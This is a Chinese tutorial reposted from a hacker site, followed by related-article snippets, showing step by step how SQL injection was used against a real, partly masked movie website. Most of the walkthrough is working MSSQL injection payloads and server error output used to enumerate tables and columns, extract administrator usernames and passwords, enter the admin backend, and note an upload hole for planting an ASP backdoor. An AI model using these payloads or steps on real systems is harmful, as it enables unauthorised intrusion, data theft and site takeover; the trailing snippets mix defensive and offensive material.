SQL注入的新技巧

技巧

 SQL注入的新技巧 来源:黑客基地
                表名和字段名的获得
适用情况:
1)数据库是MSSQL
2)连接数据库的只是普通用户
3)不知道ASP源代码

可以进行的攻击
1)对数据内容进行添加,查看,更改

实例:
本文件以
http://www.dy***.com/user/wantpws.asp
为列进行测试攻击。

第一步:
在输入用户名处输入单引号,显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 ''' 之前有未闭合的引号。

/user/wantpws.asp,行63

说明没有过滤单引号且数据库是MSSQL.

第二步:
输入a';use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。

/user/wantpws.asp,行63
这样说明没有权限了。

第三步:
输入:a' or name like 'fff%';--
显示有一个叫ffff的用户哈。

第四步:
在用户名处输入
ffff' and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名 'user' 无效。

/user/wantpws.asp,行96

说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a' having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.ID' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。

/user/wantpws.asp,行63

)

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名。

第五步:
输入:
ffff';update [users] set email=(select top 1 name from sysobjects where   xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where   xtype='u' and name='ad') where name='ffff';--
同上可知id是:581577110
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where   xtype='u' and id>581577110) where name='ffff';--

ad         581577110
users         597577167
buy         613577224
car         629577281
learning     645577338
log         661577395
movie         677577452
movieurl     693577509
password     709577566
type         725577623
talk

经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的

第六步:猜重要表的字段
输入:
现在就看看users表有哪些字段
ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--
得到第三个字段是password
ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--
得到第四个字段是name
最后users表的字段共28个全得到了
(注:另一个得到字段的办法,前提是系统的返回出错信息
a' group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.userid' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
这个第二个字段就是userid
显示第三个字段。
a' group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
得到是password
同理,一直显示出所有。:)
)

users表
1     2           3           4
id   userid     password   name

  5           6               7   8       9         10     11       12     13   14     15     16
Province   homeaddress   city   adress   starlook   sex     email   nlook   nos   date   money   send
                                     
17         18     19         20     21         22       23     24         25     26     27     28
oklook   dnlook lasthits   phone   askmejoin getmoney payno   logintime mflag   state post   note

starlook--12 10 2003   2:41PM
nlook---0
nos---2   登陆次数
date--12 10 2003 12:00AM   注册时间?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明

password表
1     2       3
id     name   pwd

然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...

这样我们就完全进入了这个电影网站的后台了哈哈。
http://www.dy***.com/login.asp

再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

只是能免费看电影好象还不够哈..我看了看它的后台管理原来在
添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就
能上传一个asp后门并执行.

时间: 2024-10-29 15:22:25

SQL注入的新技巧的相关文章

深入浅析.NET应用程序SQL注入_实用技巧

1.准备工具:SQL SERVER ,Visual Studio 2.数据库脚本和.net代码(c#) 3.SqlServer Profiler SQL脚本代码: USE MASTER GO --检索SQLTMP数据库是否存在 IF EXISTS(SELECT * FROM SYSDATABASES WHERE name = 'SQLTMP') --删除SQLTMP数据库 DROP DATABASE SQLTMP GO --创建数据库 CREATE DATABASE SQLTMP GO --使用

discuz的php防止sql注入函数_php技巧

最近在做一个主题投票网站,客户懂一些程序方面的东西.有特别要求需要过滤一些字符防止sql注入.本来这方面就没有特别的研究过.呵呵,又发扬了一回拿来主义.把discuz论坛的sql防注入函数取了来! 复制代码 代码如下: $magic_quotes_gpc = get_magic_quotes_gpc(); @extract(daddslashes($_COOKIE)); @extract(daddslashes($_POST)); @extract(daddslashes($_GET)); if

asp.net利用HttpModule实现防sql注入_实用技巧

1.新建一个类,实现IHttpModule接口 代码 复制代码 代码如下: public class SqlHttpModule : IHttpModule { public void Dispose() { } public void Init(HttpApplication context) { context.AcquireRequestState += new EventHandler(context_AcquireRequestState); } } 在实现接口的Init方法时,我们选

PHP中怎样防止SQL注入分析_php技巧

本文实例分析了PHP中怎样防止SQL注入.分享给大家供大家参考.具体分析如下: 一.问题描述: 如果用户输入的数据在未经处理的情况下插入到一条SQL查询语句,那么应用将很可能遭受到SQL注入攻击,正如下面的例子: 复制代码 代码如下: $unsafe_variable = $_POST['user_input'];   mysql_query("INSERT INTO `table` (`column`) VALUES ('" . $unsafe_variable . "')

PHP 小心urldecode引发的SQL注入漏洞_php技巧

Ihipop 学校的 Discuz X1.5 论坛被黑,在那里吵了一个下午.Google 一下"Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit",你就知道. Discuz 是国内很流行的论坛系统,被黑的网站应该会很多吧.不过我对入侵别人的网站不感兴趣,同时也鄙视那些代码都不会写只会使用别人放出的工具攻击的所谓的"黑客". 粗略看了一下代码,这个 SQL 注入漏洞是 urldecode 函数造成

PHP的SQL注入过程分析_php技巧

今天从网上学习了有关SQL注入的基本技能.SQL注入的重点就是构造SQL语句,只有灵活的运用SQL 语句才能构造出牛比的注入字符串.学完之后写了点笔记,已备随时使用.希望你在看下面内容时先了 解SQL的基本原理.笔记中的代码来自网络. ===基础部分=== 本表查询: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?use

php is_numberic函数造成的SQL注入漏洞_javascript技巧

一.is_numberic函数简介国内一部分CMS程序里面有用到过is_numberic函数,我们先看看这个函数的结构bool is_numeric (mixed $var)如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE.二.函数是否安全接下来我们来看个例子,说明这个函数是否安全. 复制代码 代码如下: $s = is_numeric($_GET['s'])?$_GET['s']:0;$sql="insert into test(type)values($s);"

鲜为人知的SQL注入技巧

技巧|sql注入 1.关于Openrowset和Opendatasource2.关于Msdasql两次请求的问题3.可怕的后门        下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的 成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别. 1.关于Openrowset和Opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令.通常我们的用 法是(包括MSDN的列子)如下: select * from op

注意那些容易被忽略的SQL注入技巧

下面我要谈到一些Sqlserver新的Bug(注入),这些都是从长期的工作中总结出来的经验,现在拿出来与大家一起分享,希望能够对大家有所帮助. 1.关于Openrowset和Opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令.通常我们的用法是(包括MSDN的列子)如下: 以下是代码片段:select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 可见(即